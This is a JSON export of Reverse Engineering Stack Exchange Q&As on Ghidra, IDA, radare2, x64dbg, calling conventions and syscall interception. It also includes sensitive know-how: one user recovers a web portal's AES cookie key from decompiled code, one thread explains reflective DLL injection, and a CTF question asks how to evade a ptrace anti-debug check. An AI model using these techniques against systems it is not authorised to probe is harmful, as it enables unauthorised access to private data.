java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n    at java.base/java.lang.reflect.Method.invoke(Method.java:566)\njava.lang.IllegalArgumentException: java.lang.IllegalArgumentException: Blocks do not belong to this program\nghidra.program.database.mem.MemoryBlockDB@6f03ae13\nghidra.program.database.mem.MemoryBlockDB@38d5ac1c\nghidra.program.database.mem.MemoryBlockDB@6ad8b9ac\n</code></pre>\n<p>What would be the correct sequence of arguments/flags/(instruction ordering?) to have a correct representation of a loaded V850 16MB firmware (size 0x1000000) on Ghidra? What am I doing wrong?</p>\n<p><a href=\"https://github.com/NationalSecurityAgency/ghidra/files/6035639/nec-.PD703128-mem-address-1.pdf\" rel=\"nofollow noreferrer\">Here's the MCU PDF address space section for reference</a></p>\n",
        "Title": "Wrap-around MCU memory map definition with negative addresses",
        "Tags": "|ghidra|",
        "Answer": "<p>Note to self, when running <code>memory.removeBlock(blk, monitor)</code> make sure that the memory map is not empty from previous wipes/redefinitions (iterations of the script).</p>\n<p>In other words, opening a file creates a default memory map, but the script wasn't contemplating the case where the address map was empty to begin with.</p>\n"
    },
    {
        "Id": "27094",
        "CreationDate": "2021-02-24T17:42:44.840",
        "Body": "<p>Basically, Ghidra in headless mode is divided into three phases: preScript, analysis, and postScript.</p>\n<p>Pre/post scripts are written extending the <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/app/script/GhidraScript.html\" rel=\"nofollow noreferrer\">GhidraScript</a> class, while analysis ones extend the <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/app/services/AbstractAnalyzer.html\" rel=\"nofollow noreferrer\">AbstractAnalyzer</a> class.</p>\n<p>When you run Ghidra in headless mode, you can specify which pre/post scripts you want to run (<code>-preScript</code> and <code>-postScript</code> options).</p>\n<p>My questions is: how do I choose which analyses to perform?</p>\n<p>For example, if I run this command:</p>\n<pre><code>./analyzeHeadless /tmp test -import ~/Downloads/test.elf -scriptPath ~/ghidra_scripts/ -postScript TestScript.java\n[...]\n\nINFO  -----------------------------------------------------\n    ARM Constant Reference Analyzer           14.667 secs\n[...]\n    Subroutine References - One Time           0.000 secs\n-----------------------------------------------------\n     Total Time   86 secs\n-----------------------------------------------------\n (AutoAnalysisManager)  \n\n</code></pre>\n<p>How can I exclude the <code>ARM Constant Reference Analyzer</code> and add another analysis?</p>\n",
        "Title": "Specify which analyses to perform in Ghidra headless mode",
        "Tags": "|ghidra|",
        "Answer": "<p>This is possible. You can select desired analysis options in the <code>prescript</code>. Checkout this function - <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/app/script/GhidraScript.html#setAnalysisOption(ghidra.program.model.listing.Program,java.lang.String,java.lang.String)\" rel=\"nofollow noreferrer\">setAnalysisOption</a> in <code>GhidraScript</code> class. You can also look @ this <a href=\"https://github.com/NationalSecurityAgency/ghidra/blob/2b08598dbabe6a9c911e712bd928e5f84fb00ee8/Ghidra/Features/Base/ghidra_scripts/TurnOffStackAnalysis.java\" rel=\"nofollow noreferrer\">example</a> script.</p>\n<p>So, in your case you can do something like:</p>\n<pre><code>from ghidra.app.script import GhidraScript\nsetAnalysisOption(currentProgram, &quot;ARM Constant Reference Analyzer&quot;, &quot;false&quot;)\n</code></pre>\n"
    },
    {
        "Id": "27097",
        "CreationDate": "2021-02-24T20:06:50.240",
        "Body": "<h1>TL; DR</h1>\n<p>Is there any way you might suggest decrypting this cookie? It was saved under the name <em>mail</em>, so I suspect it encrypts an email address:</p>\n<p><code>4520382156EFC790B5B54696C4E175B5695F03D2D59C33858A62D6CDA18B7AB2</code></p>\n<p><strong>Edit:</strong> Here is another one using another account:</p>\n<p><code>BFE069DB7B7FDED51A7F81DF8CE3CAD8FB8B14D70BE3FA32F26C4A2136170CD6</code></p>\n<h2>Motivation</h2>\n<p>When using a web portal, I noticed the same cookie is generated for my username every single time (i.e., it does not appear to be random). My concern is that there are several API endpoints with private info that can be accessed anonymously just using said string in the URL.\nI suspect the string is a kind of user identifier, but I am not sure if it is generated using the values from my email address, or randomly based on time of creation.</p>\n<h2>More details</h2>\n<p>I can't go into specifics as I don't want this flaw to be exposed, compromising my info and getting me into trouble. However I know the portal is hosted on <strong>Microsoft IIS Server</strong> and built using the <strong>ASP.NET</strong> framework. I also suspect the implementation is rudimentary, so they probably aren't doing anything more sophisticated.</p>\n",
        "Title": "Reverse engineer decryption of cookie",
        "Tags": "|decryption|websites|",
        "Answer": "<h1>Findings</h1>\n<p>After some digging around in GitHub (turns out several of the portal component's source code is worryingly on GitHub, although I had to decompile it), I discovered that the string is generated using the <strong>AES Rijndael Algorithm</strong>.</p>\n<p>I was able to succesfully generate the second string using an arbitrary key like <code>&quot;#lk$.346hopHXIsd&quot;</code> (changed for security reasons). I was unable to do the same for the first one. I suspect a different key is used as both emails correspond to two different kinds of users. I will draft a program that will brute force several keys until it finds a match. Will report back in case this helps (or entertains) anyone.</p>\n<p><strong>Edit:</strong></p>\n<p>I found a GitHub repo that did several requests to the server, so figured it might have some answers. After browsing through the code, and decompiling a source file (conveniently named Authentication), I extracted the key.</p>\n<p><strong>Edit 2:</strong></p>\n<p>The key matched one of the cyphered strings. However, as @Robert points out, it is virtually impossible to brute force the algorithm. I will try other methods. I leave this thread open to suggestions and in case it is of help to anyone :D</p>\n<p><strong>Edit 3:</strong>\nSolved.</p>\n"
    },
    {
        "Id": "27107",
        "CreationDate": "2021-02-26T07:34:09.313",
        "Body": "<p>I have a function <code>MyFunc</code> in an obfuscated program as follows:</p>\n<pre><code>Start address: .text:000000014219FC5D\nEnd address: .text:000000014219FD0E\n</code></pre>\n<p><code>MyFunc</code> starts off by jumping to <code>.text:000000014143C159</code>, which is recognized correctly by IDA as <code>FUNCTION CHUNK FOR MyFunc</code>.</p>\n<p>This basic block jumps to <code>.text:000000014000B524</code>, which is not recognized correctly by IDA. IDA recognizes it as a completely unrelated function. There are 0 other xrefs to this block in the program.</p>\n<p>I'm guessing the problem is that the basic block is lower in address than the function start, so IDA can't consider it as a basic block of <code>MyFunc</code>. I'm guessing that the obfuscator splits basic blocks and then shuffles them (mixing them together with BBs from other functions).</p>\n<p>What is the recommended approach to take in order to get analysis working?</p>\n",
        "Title": "IDA refuses to recognize basic block as part of function that jumps to it",
        "Tags": "|ida|deobfuscation|",
        "Answer": "<p>You can use <code>Edit-&gt;Functions-&gt;Remove function tail</code> to remove the block from whichever function is claiming it as a tail, and <code>Append function tail</code> to add it to the other one. However, this might be a waste of time. Given that the program is obfuscated, it might well be the case that IDA's ordinary analysis techniques and data abstractions for functions aren't very useful -- this is commonly the case for obfuscated code. Do you have a specific reason for wanting the function boundaries to be correct? Is it interfering with something else you're trying to do?</p>\n"
    },
    {
        "Id": "27129",
        "CreationDate": "2021-03-01T18:01:20.467",
        "Body": "<p>So I was looking around the IDA SDK and I saw <code>insn_t</code> - it looked useful - any ideas how can I retrieve it - I wasn't able to find any function that returns it.</p>\n",
        "Title": "How to retrieve an `insn_t`?",
        "Tags": "|ida|idapro-sdk|",
        "Answer": "<p>You are looking for <code>DecodeInstruction(ea)</code> in <code>idautils</code> module (I am referring to idapython api).</p>\n<p>It returns: <code>&lt;class 'ida_ua.insn_t'&gt;</code> type object.</p>\n<p>In Ida sdk that'd be <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/ua_8hpp.html#af83aad26f4b3e39e7fbda441100f15cf\" rel=\"nofollow noreferrer\">decode_insn</a> function.</p>\n"
    },
    {
        "Id": "27149",
        "CreationDate": "2021-03-04T06:59:24.787",
        "Body": "<p>So I run radare2 from the command line with <code>r2 -</code> and attempt to display the help with the <code>?</code> command. I read this line which says:</p>\n<p><code> ?[??][expr]             Help or evaluate math expression</code></p>\n<p>I am not sure how to read this. I assume the first <code>?</code> is <code>Help</code> command. And the rest <code>[??][expr]</code> is evaluate math expression. However, something like this <code>?? 0xa</code> does not return anything. So, my question is how to correctly interpret this output from the help.</p>\n",
        "Title": "Interpret radare2 help",
        "Tags": "|radare2|",
        "Answer": "<p>It took me some time to realize that the 2 helps were kind of combined into one.</p>\n<p>The first question mark symbol can mean either help or evaluate math expression. The second and third are optional if used in the context of evaluating an expression.</p>\n"
    },
    {
        "Id": "27152",
        "CreationDate": "2021-03-04T14:39:30.753",
        "Body": "<p>I am currently learning RE and I came upon this piece of code which made me question whether  stack frames grow upward:</p>\n<pre><code>0x080483f4 &lt;main+0&gt;:    push   ebp\n0x080483f5 &lt;main+1&gt;:    mov    ebp,esp\n0x080483f7 &lt;main+3&gt;:    and    esp,0xfffffff0\n0x080483fa &lt;main+6&gt;:    sub    esp,0x60\n0x080483fd &lt;main+9&gt;:    mov    DWORD PTR [esp+0x5c],0x0\n</code></pre>\n<p>So I understand that from <code>&lt;main+0&gt;</code> until <code>&lt;main+6&gt;</code>, we're setting up the stack frame. Being that the stack grows downwards, it makes sense that we <code>sub esp,0x60</code> thereby allocating 96 bytes for the main function's stack frame.</p>\n<p>My confusion/doubts, however start on <code>&lt;main+9&gt;</code> <code>mov    DWORD PTR [esp+0x5c],0x0</code> which from what I understood stores the value <code>0</code> in a location 4 bytes above the stack pointer and we know that the stack grows downwards, but this operation seems to indicate that the data in the stack frame is stored bottom up.</p>\n<p>So my question is, does that mean that while the stack as a whole grows downwards individual stack frames actually grow upwards?</p>\n",
        "Title": "Do Stack frames grow upwards?",
        "Tags": "|disassembly|assembly|stack|",
        "Answer": "<p>In order to see what is going on, let's use the value of <code>0x1080</code> for the initial <code>sp</code>.</p>\n<p>The stack pointer at the beginning:</p>\n<pre><code>esp -&gt; 0x1080\n</code></pre>\n<p>after <code>sub    esp,0x60</code>:</p>\n<pre><code>esp -&gt; 0x1020\n</code></pre>\n<p>So the stack frame of the function is between <code>0x1080</code> and <code>0x1020</code>.</p>\n<p>The stack grew from <code>0x1080</code> to <code>0x1020</code>, that why it grows under - from the higher value to the lower.</p>\n<p>Then, <code>esp+0x5c</code> is: <code>0x107c</code>.</p>\n<p><code>0x107c</code> Is within the stack frame of the function.</p>\n"
    },
    {
        "Id": "27157",
        "CreationDate": "2021-03-05T22:01:59.880",
        "Body": "<p>I'm not sure i understand reflective loading.</p>\n<p>An injector process allocates memory in the target, writes a stub and the dll binary to be loaded, and the stub calls ReflectiveLoad in that binary. ReflectiveLoad then does what the windows loader would do so that the dll is properly mapped and has access to the imports if needs.</p>\n<p>What confuses me is, could the manual loading portion in principle be done by the injector, still achieving no dropped files? By this I mean reading the target's memory from the injector's process to figure out how the dll needs to be loaded in the target at the address of the allocated memory. Is it a matter of need or convenience? Why exactly has this choice been made?</p>\n",
        "Title": "Why does reflective dll injection need to perform loading in the target process?",
        "Tags": "|dll-injection|",
        "Answer": "<p>Yes, it is possible to perform the necessary loading steps in the injector process (i.e., resolving the import addresses) before injecting the DLL, and some injectors/malware do that. See for example address <code>0x18007CD00</code> in <a href=\"https://github.com/RolfRolles/IDBs/tree/master/ComRAT%20v4\" rel=\"nofollow noreferrer\">my ComRAT IDB</a>.</p>\n<p>However, doing it that way is more cumbersome, as some of the neccessary DLLs might not already be loaded by the target process (nor the injector process). Therefore, you'd have to inject one or more threads into the target to load the imported DLLs before injecting. To get the addresses of the imported functions, you'd either have to load the DLLs in the injector process also (which should work, since Windows ASLR does not re-randomize the base addresses of a DLL that is already loaded, because the memory for the DLL will be shared), or you'd have to resolve the import addresses within the target process, hence more threads to create. Reflective loading bypasses this by forcing the DLL to load its own imports before beginning normal execution.</p>\n"
    },
    {
        "Id": "27169",
        "CreationDate": "2021-03-06T23:28:58.910",
        "Body": "<p>I have a binary calling <code>syscall</code> with a code not present on the Linux kernel.</p>\n<p>Is it possible that the binary catches the syscall by itself and handles it on-the-fly?</p>\n<p>Furthermore, what happens if I call <code>syscall</code> with an invalid code? e.g. <code>syscall(666, args...)</code></p>\n<p>I've searched the internet for answers and didn't find anything.\nI am aware that syscalls are defined when the kernel boots, so getting an &quot;exotic&quot; syscall to works seems weird at least.</p>\n",
        "Title": "Is it possible to intercept syscalls with a custom code from inside the program?",
        "Tags": "|linux|syscall|",
        "Answer": "<p>I think intercepting system calls can be done in at least 3 ways:</p>\n<ol>\n<li>registering a handler for the SIGSYS signal</li>\n<li>using <code>seccomp()</code> to filter system calls</li>\n<li>selective syscall userspace redirection with <code>prctl()</code></li>\n</ol>\n<p>From <a href=\"https://lwn.net/Articles/824380/\" rel=\"nofollow noreferrer\">Emulating Windows system calls in Linux</a>:</p>\n<blockquote>\n<p>To run with any speed at all, Wine must run Windows code directly on the CPU to the greatest extent possible. That must end, though, once the Windows program makes a system call; trapping into the Linux kernel with the intent of making a Windows system call is highly unlikely to lead to good results. Traditionally, Wine has handled this by supplying its own version of the user-space Windows API that implemented the required functionality using Linux system calls. As explained in the patch posting, though, Windows applications are increasingly executing system calls directly rather than going through the API; that makes Wine unable to intercept them.</p>\n<p>The good news is that Linux provides the ability to intercept system calls in the form of seccomp(). The bad news is that this mechanism, as found in current kernels, is not suited to the task of intercepting only system calls made from Windows code running within a larger process. Intercepting every system call would slow things down considerably, an effect that tends to make gamers particularly cranky. Tracking which parts of a process's address space make Linux system calls and which make Windows calls within the (classic) BPF programs used by seccomp() would be awkward at best and, once again, would be slow. So it seems that a new mechanism is called for.</p>\n<p>The patch set adds a new memory-protection bit for mmap() called PROT_NOSYSCALL which, by default, does not change the kernel's behavior. If, however, a given process has turned on the new SECCOMP_MODE_MMAP mode in seccomp(), any system calls made from memory regions marked with PROT_NOSYSCALL will be trapped; the handler code can then emulate the attempted system call.</p>\n</blockquote>\n<p>More info:</p>\n<ul>\n<li><a href=\"https://lwn.net/ml/linux-kernel/20200712044516.2347844-2-krisman@collabora.com/\" rel=\"nofollow noreferrer\">[PATCH v3 1/2] kernel: Implement selective syscall userspace redirection</a></li>\n<li><a href=\"https://lwn.net/Articles/826313/\" rel=\"nofollow noreferrer\">Emulating Windows system calls, take 2</a></li>\n<li><a href=\"https://www.kernel.org/doc/html/latest/admin-guide/syscall-user-dispatch.html\" rel=\"nofollow noreferrer\">Syscall User Dispatch</a></li>\n</ul>\n"
    },
    {
        "Id": "27170",
        "CreationDate": "2021-03-07T02:01:33.927",
        "Body": "<p>I know it's a silly question </p>\n<p>I'm using IDA and I want to know if there is a plugin to identify all called APIs inside a function instead of entering each function manually?</p>\n",
        "Title": "Identify APIs inside functions",
        "Tags": "|ida-plugin|",
        "Answer": "<p>To have an overview of called API in a function you can use Graph feature without pluging :</p>\n<ul>\n<li>select function</li>\n<li>click on menu <code>View &gt; Graphs &gt; Users xrefs chart...</code></li>\n<li>in <code>Starting Direction</code> check only <code>Cross references from</code></li>\n<li>in <code>Ignore</code> group, check all except <code>Externals</code></li>\n</ul>\n<p><a href=\"https://i.stack.imgur.com/W5ioW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/W5ioW.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/2Miir.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2Miir.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "27173",
        "CreationDate": "2021-03-07T03:32:55.123",
        "Body": "<p>I am wanting to execute python command by using python -c but it contain in string library so i need import it.\nWhile reading man i find this:</p>\n<pre><code>when called with -c  command,  it  executes  the\n   Python  statement(s) given as command.  Here command may contain multi\u2010\n   ple statements separated by newlines.  Leading whitespace  is  signifi\u2010\n   cant  in  Python statements!  In non-interactive mode, the entire input\n   is parsed before it is executed.\n</code></pre>\n<p>For example I've tried python3 -c &quot;import string \\n print(string.ascii_letters)&quot;\nbut it didn't work. So what is it new line?</p>\n",
        "Title": "How to use two commands in python -c?",
        "Tags": "|python|",
        "Answer": "<p>This is not really a re related question. But you can do something like this:</p>\n<pre><code>python3 -c 'import string;print(string.ascii_letters)'\n</code></pre>\n"
    },
    {
        "Id": "27177",
        "CreationDate": "2021-03-07T09:57:29.987",
        "Body": "<p>This is something I know how to do in Olly Debugger, and can't figure out how to do in x64dbg.</p>\n<p>In Olly Debugger, it's possible to set a hardware <strong>or</strong> software breakpoint, either on access or on write, to a <strong>memory address.</strong></p>\n<p>To be clear: I am referring here to <em>memory</em> breakpoints, which are set by right clicking an address in the dump window. I am <em>not</em> referring to execution breakpoints, like the INT3 breakpoints you can set in the CPU window when you hit F2.</p>\n<p>In Olly Debugger, the only practical differences between hardware and software breakpoints is that you're limited to four hardware breakpoints, and with hardware breakpoints, EIP points to the next instruction so you can't see the state of registers or memory before hitting the breakpoint.</p>\n<p>In x64dbg, it is also possible to set both hardware or software breakpoints on memory. However, in x64dbg the software memory breakpoints always apply to the <em>entire section</em> in which the memory address resides, which makes software memory breakpoints close to useless (I assume it is just using VirtualProtect to guard the whole section, then breaking on any and all access to the section.) In Olly it was possible to set an unlimited number of <em>software, not hardware,</em> memory breakpoints for an <em>individual byte</em> of memory in the dump window.</p>\n<p>Am I just dumb? Is x64dbg really missing this feature?</p>\n",
        "Title": "In x64dbg, how to set software breakpoint on specific memory address?",
        "Tags": "|memory|x64dbg|dynamic-analysis|breakpoint|",
        "Answer": "<p>Yes, it is explicitly <a href=\"https://github.com/x64dbg/x64dbg/issues/1453\" rel=\"nofollow noreferrer\">not supported</a> on the issues page, however, if you are very serious about using x64dbg, it does support writing plugins that create breakpoints and react to debugger events such as breakpoints being hit... so you could write your own plugin that does what you want.</p>\n"
    },
    {
        "Id": "27184",
        "CreationDate": "2021-03-08T06:04:12.150",
        "Body": "<p>Obfuscation techniques such as opaque predicates often trick IDA's auto-analysis into creating incorrect or contradicting interpretations of the code under analysis.</p>\n<p>There is some mention of controlling IDA's auto-analysis via hooks on the <a href=\"https://www.hex-rays.com/blog/improving-ida-analysis/\" rel=\"nofollow noreferrer\">IDA website</a>, however I cannot find other references to this online.</p>\n<p>In my case, I have a list of known-valid branches and I want IDA to &quot;prefer&quot; these branches during auto-analysis in order to avoid sp-analysis and invalid decompilation issues.</p>\n<p>I have been able to essentially mimic this functionality by scripting my own analysis pass that ignores non- known-valid branches, but I wonder if there is an easier way.</p>\n",
        "Title": "How to deal with IDA auto-analysis analyzing invalid paths?",
        "Tags": "|ida|idapython|deobfuscation|",
        "Answer": "<p>Last time I had that a problem like that, I loaded the executable with auto-analysis disabled, then ran a script that detected valid and invalid branches, and patched the valid branches to be non-conditional and nopped out the invalid branches. After that, I just enabled auto-analysis, and as the invalid branches were removed, the analysis results were fine.</p>\n<p>Of course, this depends on being able to find the valid and invalid branch <em>instructions</em>, not just their <em>targets</em>. I am unsure what you mean by &quot;a list of known-valid branches&quot;, but in case you know the location of the valid branch instructions, or you can write a simple analyzer that detects the patterns with invalid branches, a preprocessor might be a good way to handle the problem.</p>\n"
    },
    {
        "Id": "27185",
        "CreationDate": "2021-03-08T08:16:41.910",
        "Body": "<p>I want to run a quick analysis on a very large number of binaries and determine the language of each one.</p>\n",
        "Title": "Is there a standalone cli tool which can detect which programming language a binary was written in?",
        "Tags": "|program-analysis|",
        "Answer": "<p>In addition to what Christian said, I'd like to mention radare's rabin2 tool. The output will defiantly not be perfect. But, it will give you an idea (or sort of a prediction, give it a try!).</p>\n<p>You can do:</p>\n<pre><code>rabin2 -I a.out | grep lang\n</code></pre>\n<p>It will output:</p>\n<pre><code>$ rabin2 -I a.out | grep lang\nlang     c++\n</code></pre>\n<p>Here <code>-I</code> flag extracts binary information.</p>\n"
    },
    {
        "Id": "27199",
        "CreationDate": "2021-03-09T16:42:48.307",
        "Body": "<p>I'm looking through a block of disassembled C++ which works with several <code>std::string</code> instances. I had been confused by several calls to various versions of <code>std::operator+</code>, but this call seems completely wrong (by my understanding anyway):</p>\n<pre><code>mov        rax, qword [rbp-0xb8]\nlea        rbx, qword [rax+0xa0]\nlea        rax, qword [rbp-0x60]\nmov        edx, 0x880d32  ; &quot;/store/&quot;\nmov        rsi, rax\nmov        rdi, rbx\n           ; std::string std::operator+(std::string &amp;&amp;, char const *),\ncall       _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_\nlea        rax, qword [rbp-0x60]\n</code></pre>\n<p>From context, I have determined that the stack values referenced are:</p>\n<ul>\n<li><strong><code>rbp-0x60</code></strong>: An <code>std::string</code> on the stack, constructed with <code>std::string(char const *, std::allocator&lt;char&gt; &amp;)</code>.</li>\n<li><strong><code>rbp-0xb8</code></strong>: A pointer to <code>this</code>.</li>\n</ul>\n<p>From the <code>.comment</code> section, I can see the compiler used was GCC 5.4.0, from which I retrieved this implementation of the <code>operator+</code> call above (in <code>namespace std { ... }</code>):</p>\n<pre><code>template&lt;typename _CharT, typename _Traits, typename _Alloc&gt;\ninline\nbasic_string&lt;_CharT, _Traits, _Alloc&gt;\noperator+(\n    basic_string&lt;_CharT, _Traits, _Alloc&gt; &amp;&amp;__lhs,\n    const _CharT *__rhs)\n{\n    return std::move(__lhs.append(__rhs));\n}\n</code></pre>\n<p>I can understand the return value being optimized away since <code>__lhs</code> is modified by <code>operator+</code>, but the parameters don't seem to match. <code>edx</code> referring to the only <code>char *</code> suggests an additional first parameter before those declared in the source. If this was a member function, I would expect that (<code>rdi</code> being <code>this</code>), but <code>operator+</code> is implemented as a non-member.</p>\n<p>Am I missing something from the calling convention here?</p>\n",
        "Title": "What is the first argument (rdi) to operator+ on x86_64 SystemV?",
        "Tags": "|disassembly|c++|gcc|",
        "Answer": "<p>since this is tangentially related to query<br />\nI am adding this as another answer instead of editing the first answer<br />\nit appears the code in question possibly ignores compiler warnings</p>\n<pre><code>&lt;source&gt;: In function 'int main()':\n&lt;source&gt;:11:40: warning: ISO C++ forbids converting a string constant to 'char*' [-Wwrite-strings]\n   11 |     std::cout &lt;&lt; foo(std::string(&quot;H&quot;), &quot;ello World!\\n&quot;);\n      |                                        ^~~~~~~~~~~~~~~\nCompiler returned: 0\n</code></pre>\n<p>so a 32 bit address like 0x880d32 is passed as an argument to a 64 bit program</p>\n<p>i was wondering under what circumstances edx would be passed instead of rdx<br />\nso i <a href=\"http://demangler.com/\" rel=\"nofollow noreferrer\">demangled</a> the</p>\n<pre><code> _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_  \n</code></pre>\n<p>which resulted in</p>\n<pre><code>std::__cxx11::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; std::operator+&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt;(std::__cxx11::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt;&amp;&amp;, char const*) \n</code></pre>\n<p>so the code in question actually uses an <strong>Rvalue Reference Declaration</strong></p>\n<p><strong>c++11 feature <a href=\"https://en.wikipedia.org/wiki/C%2B%2B11#Rvalue_references_and_move_constructors\" rel=\"nofollow noreferrer\">gccrvalueref</a> , <a href=\"https://docs.microsoft.com/en-us/cpp/cpp/rvalue-reference-declarator-amp-amp?view=msvc-160\" rel=\"nofollow noreferrer\">msvcrvalueref</a></strong><br />\nand instead of passing a reference uses an explicit char*<br />\nthe construction can be ascertained by compiling the code below and looking at disassembly.</p>\n<p>code for test</p>\n<pre><code>#include &lt;iostream&gt;\n#include &lt;string&gt;\nstd::string foo(std::string _lhs,char *_rhs)\n{\n    return std::operator+(_lhs , _rhs);\n}\nint main()\n{\n    char rval[] = {&quot;ello World!\\n&quot;};\n    std::cout &lt;&lt; foo(std::string(&quot;H&quot;), rval);\n    std::cout &lt;&lt; foo(std::string(&quot;H&quot;), &quot;ello World!\\n&quot;);\n    \n}\n</code></pre>\n<p>disassembly of first call to foo() uses proper 64 bit rdx</p>\n<pre><code>  lea rax, [rbp-176]\n  lea rdx, [rbp-189]\n  lea rcx, [rbp-144]\n  mov rsi, rcx\n  mov rdi, rax\n  call foo(std::__cxx11::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt;, char*)\n</code></pre>\n<p>disassembly of second call to foo() uses a 32 bit offset edx</p>\n<pre><code>  lea rax, [rbp-96]\n  lea rcx, [rbp-64]\n  mov edx, OFFSET FLAT:.LC1 and if linked mov edx,0x402007 a 32 bit address\n  mov rsi, rcx\n  mov rdi, rax\n  call foo(std::__cxx11::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt;, char*)\n.LC1:\n  .string &quot;ello World!\\n&quot;\n</code></pre>\n"
    },
    {
        "Id": "27219",
        "CreationDate": "2021-03-12T08:43:10.853",
        "Body": "<p>would you please tell me how to call the function from IDAPython code ?\u2028<br></p>\n<p>I want to simulate it by manually push to stack as the two arguments and calling the function.</p>\n",
        "Title": "how to call the function from IDAPython with passing arguments by manually push them to the stack",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>Instead of manual pushing, you should be able to use <a href=\"https://www.hex-rays.com/blog/practical-appcall-examples/\" rel=\"nofollow noreferrer\">Appcall</a>.</p>\n"
    },
    {
        "Id": "27223",
        "CreationDate": "2021-03-12T12:08:10.603",
        "Body": "<p>For example, in the Registers windows of IDA pro, It show the following.<br>\n( I think &quot;WS2_32.dll:ws2_32_shutdown&quot; is a string that IDA automatically resolved.)</p>\n<p>EAX 766D32B0 WS2_32.dll:ws2_32_shutdown</p>\n<p>So, would you please tell me how to get the function name string (such as WS2_32.dll:ws2_32_shutdown) from the Address (such as 766D32B0)  by IDAPython ?</p>\n<p>I try to do the following, but it don\u2019t show the function name string..</p>\n<p>eax_adddress = idc.get_reg_value(&quot;EAX&quot;)<br>\nprint(&quot;EAX--&gt;%x&quot; % eax_adddress)<br>\nprint(&quot;FunctionName--&gt;%s&quot; % idc.get_func_name(eax_adddress))<br></p>\n",
        "Title": "(IDAPython)How to get the function name string from the Function address?",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>Reduced to the minimum, this is how you get the name of a function and the module in Python 3:</p>\n<pre><code>import ida_funcs\nimport ida_nalt\nimport idc\nimport pathlib\n\nreg_address = idc.get_reg_value('EAX') # or use the register relevant to your case\nfunc_name = ida_funcs.get_func_name(reg_address)\n\n# if you want to use the main image name:\n#image_name = pathlib.Path(ida_nalt.get_input_file_path()).name\n\n# if you want to use the segment from which the function is coming from:\nimage_name = idc.get_segm_name(reg_address)\n\nprint(f'{image_name}:{func_name}')\n</code></pre>\n<p>Please note that this probably works properly only in case you have multiple images in the same database. Otherwise <code>idc.get_segm_name</code> might actually return the actual segment name, not the image name.</p>\n<p>You can easily rewrite that for Python 2 if needed by not utilizing the <code>pathlib</code> and change the <code>print()</code>-function to be a <code>print</code>-statement in case you want to access the original image file name.</p>\n"
    },
    {
        "Id": "27229",
        "CreationDate": "2021-03-13T01:45:40.653",
        "Body": "<p>I am trying to run <code>ltrace</code> on this file:</p>\n<blockquote>\n<p>./launcher: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f6f8cf3307e0ee26723f4d03ec68f022d15e56b6, stripped</p>\n</blockquote>\n<p>When I pop it open in ghidra, and view the decompiled c, I can see that it changes the program flow to somewhere I don't want to be when ltrace is running.</p>\n<pre><code>  attached_to_ptrace = ptrace(PTRACE_TRACEME,0,1,0);\n  if (attached_to_ptrace == -1) {\n    puts(&quot;I am not your property!&quot;);\n    exit_code = 1;\n  }\n  else {\n    // execute main loop\n  }\n</code></pre>\n<p>Looking at the man page for <code>ptrace</code>, I see:</p>\n<pre><code>long ptrace(enum __ptrace_request request, pid_t pid,\n                   void *addr, void *data);\n</code></pre>\n<p>Meaning that if the program? or ltrace? were to run with a different PID, I would be able to successfully run my program using ltrace.</p>\n<p>This is the current output I get when running the program with <code>ltrace</code>:</p>\n<pre><code>~/ctf/cyberstart/level13/04 [master|\u20261] $ ltrace ./launcher\n__libc_start_main(0x565a86f0, 1, 0xff837be4, 0x565a8970 &lt;unfinished ...&gt;\nptrace(0, 0, 1, 0)                                                     = 0xffffffff\nputs(&quot;I am not your property!&quot;I am not your property!\n)                                        = 24\n+++ exited (status 1) +++\n</code></pre>\n<p>Without ltrace:</p>\n<pre><code>~/ctf/cyberstart/level13/04 [master|\u20261] $ ./launcher\n\nEnter the password:\npassword\nAway now, you anklebiter!\n\n[1]+  Stopped                 ./launcher\n</code></pre>\n<p>(This is my second buffer overflow CTF challenge, where the main goal is to mess with this block of code:)</p>\n<pre><code>  int iVar1;\n  char local_1e [10];\n  int local_14;\n  int local_10;\n  \n  local_10 = 0;\n  puts(&quot;\\nEnter the password: &quot;);\n  gets(local_1e);\n  iVar1 = strcmp(local_1e,&quot;PAssw0rd&quot;);\n  if (iVar1 == 0) {\n    puts(&quot;Well done! Unfortunately, you have to try harder.&quot;);\n    local_10 = 0;\n  }\n  else {\n    puts(&quot;Away now, you anklebiter!&quot;);\n  }\n  if (local_10 != 0) {\n    printf(&quot;Unexpected error condition. Control char is %d\\n&quot;,local_10);\n    local_14 = param_2 * local_10;\n    (*(code *)(local_14 + param_1))();\n  }\n</code></pre>\n<p><strong>How can I run ltrace in a way such that it isn't detected?</strong></p>\n",
        "Title": "Run ltrace to avoid detection (on a different PID?)",
        "Tags": "|debugging|buffer-overflow|",
